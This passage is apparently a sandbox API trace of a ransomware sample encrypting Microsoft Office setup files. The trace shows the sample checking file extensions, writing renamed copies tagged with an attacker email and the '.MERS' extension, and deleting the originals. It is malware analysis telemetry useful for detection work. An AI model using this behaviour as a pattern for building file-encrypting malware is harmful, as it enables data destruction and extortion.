Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString=".doc") returned 4 [0040.670] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString=".docx") returned 5 [0040.670] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.670] lstrlenW (lpString=".pdf") returned 4 [0040.670] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString=".xls") returned 4 [0040.670] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString=".xlsx") returned 5 [0040.670] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.670] lstrlenW (lpString=".ppt") returned 4 [0040.670] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString=".zip") returned 4 [0040.670] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.670] lstrlenW (lpString=".rar") returned 4 [0040.670] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString=".bz2") returned 4 [0040.670] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString=".7z") returned 3 [0040.670] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString=".dbf") returned 4 [0040.670] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString=".1cd") returned 4 [0040.670] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0040.670] lstrlenW (lpString=".jpg") returned 4 [0040.670] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.779] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.779] lstrlenW (lpString="SETUP.XML") returned 9 [0040.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.779] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1852) returned 1 [0040.779] CloseHandle (hObject=0x1e8) returned 1 [0040.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0040.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.779] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.779] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.780] GetLastError () returned 0x0 [0040.780] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x73c, lpOverlapped=0x0) returned 1 [0041.115] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x740, lpOverlapped=0x0) returned 1 [0041.116] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.116] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.116] SetEndOfFile (hFile=0x17c) returned 1 [0041.116] CloseHandle (hObject=0x17c) returned 1 [0041.117] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.117] SetEndOfFile (hFile=0x1e8) returned 1 [0041.132] CloseHandle (hObject=0x1e8) returned 1 [0041.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0041.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.133] lstrlenW (lpString=".doc") returned 4 [0041.133] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString=".docx") returned 5 [0041.133] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.133] lstrlenW (lpString=".pdf") returned 4 [0041.133] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString=".xls") returned 4 [0041.133] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString=".xlsx") returned 5 [0041.133] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.133] lstrlenW (lpString=".ppt") returned 4 [0041.133] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.133] lstrlenW (lpString=".zip") returned 4 [0041.133] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.133] lstrlenW (lpString=".rar") returned 4 [0041.133] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString=".bz2") returned 4 [0041.133] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString=".7z") returned 3 [0041.133] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.133] lstrlenW (lpString=".dbf") returned 4 [0041.133] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.133] lstrlenW (lpString=".1cd") returned 4 [0041.134] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString=".jpg") returned 4 [0041.134] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString=".doc") returned 4 [0041.134] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString=".docx") returned 5 [0041.134] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.134] lstrlenW (lpString=".pdf") returned 4 [0041.134] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString=".xls") returned 4 [0041.134] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString=".xlsx") returned 5 [0041.134] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.134] lstrlenW (lpString=".ppt") returned 4 [0041.134] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString=".zip") returned 4 [0041.134] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.134] lstrlenW (lpString=".rar") returned 4 [0041.134] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString=".bz2") returned 4 [0041.134] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString=".7z") returned 3 [0041.134] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString=".dbf") returned 4 [0041.134] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.134] lstrlenW (lpString=".1cd") returned 4 [0041.135] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0041.135] lstrlenW (lpString=".jpg") returned 4 [0041.135] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.135] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0041.135] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0041.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0041.598] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5557) returned 1 [0041.598] CloseHandle (hObject=0x1d4) returned 1 [0041.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0041.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0041.599] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.599] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.599] GetLastError () returned 0x0 [0041.599] ReadFile (in: hFile=0x1d4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0041.757] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0041.758] ReadFile (in: hFile=0x1d4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.758] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0041.758] SetEndOfFile (hFile=0x1c0) returned 1 [0041.758] CloseHandle (hObject=0x1c0) returned 1 [0041.760] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.760] SetEndOfFile (hFile=0x1d4) returned 1 [0041.763] CloseHandle (hObject=0x1d4) returned 1 [0041.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0041.763] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0041.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.764] lstrlenW (lpString=".doc") returned 4 [0041.764] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.764] lstrlenW (lpString=".docx") returned 5 [0041.764] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.764] lstrlenW (lpString=".pdf") returned 4 [0041.764] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.764] lstrlenW (lpString=".xls") returned 4 [0041.764] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.764] lstrlenW (lpString=".xlsx") returned 5 [0041.764] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.764] lstrlenW (lpString=".ppt") returned 4 [0041.764] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.764] lstrlenW (lpString=".zip") returned 4 [0041.764] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.764] lstrlenW (lpString=".rar") returned 4 [0041.764] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.764] lstrlenW (lpString=".bz2") returned 4 [0041.765] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString=".7z") returned 3 [0041.765] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.765] lstrlenW (lpString=".dbf") returned 4 [0041.765] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.765] lstrlenW (lpString=".1cd") returned 4 [0041.765] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.765] lstrlenW (lpString=".jpg") returned 4 [0041.765] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.765] lstrlenW (lpString=".doc") returned 4 [0041.765] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString=".docx") returned 5 [0041.765] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.765] lstrlenW (lpString=".pdf") returned 4 [0041.765] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString=".xls") returned 4 [0041.765] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.765] lstrlenW (lpString=".xlsx") returned 5 [0041.765] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.766] lstrlenW (lpString=".ppt") returned 4 [0041.766] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.766] lstrlenW (lpString=".zip") returned 4 [0041.766] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.766] lstrlenW (lpString=".rar") returned 4 [0041.766] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.766] lstrlenW (lpString=".bz2") returned 4 [0041.766] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.766] lstrlenW (lpString=".7z") returned 3 [0041.766] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.766] lstrlenW (lpString=".dbf") returned 4 [0041.766] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.766] lstrlenW (lpString=".1cd") returned 4 [0041.766] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0041.766] lstrlenW (lpString=".jpg") returned 4 [0041.766] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.766] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0041.766] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0041.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0041.808] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=37689) returned 1 [0041.809] CloseHandle (hObject=0x1d4) returned 1 [0041.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0041.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0041.809] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.809] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.809] GetLastError () returned 0x0 [0041.809] ReadFile (in: hFile=0x1d4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x9339, lpOverlapped=0x0) returned 1 [0042.154] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0042.156] ReadFile (in: hFile=0x1d4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.156] WriteFile (in: hFile=0x1c0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.156] SetEndOfFile (hFile=0x1c0) returned 1 [0042.156] CloseHandle (hObject=0x1c0) returned 1 [0042.157] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.157] SetEndOfFile (hFile=0x1d4) returned 1 [0042.158] CloseHandle (hObject=0x1d4) returned 1 [0042.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0042.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0042.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0042.159] lstrlenW (lpString=".doc") returned 4 [0042.159] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0042.159] lstrlenW (lpString=".docx") returned 5 [0042.159] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0042.159] lstrlenW (lpString=".pdf") returned 4 [0042.159] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0042.159] lstrlenW (lpString=".xls") returned 4 [0042.159] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0042.159] lstrlenW (lpString=".xlsx") returned 5 [0042.159] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0042.159] lstrlenW (lpString=".ppt") returned 4 [0042.159] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0042.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 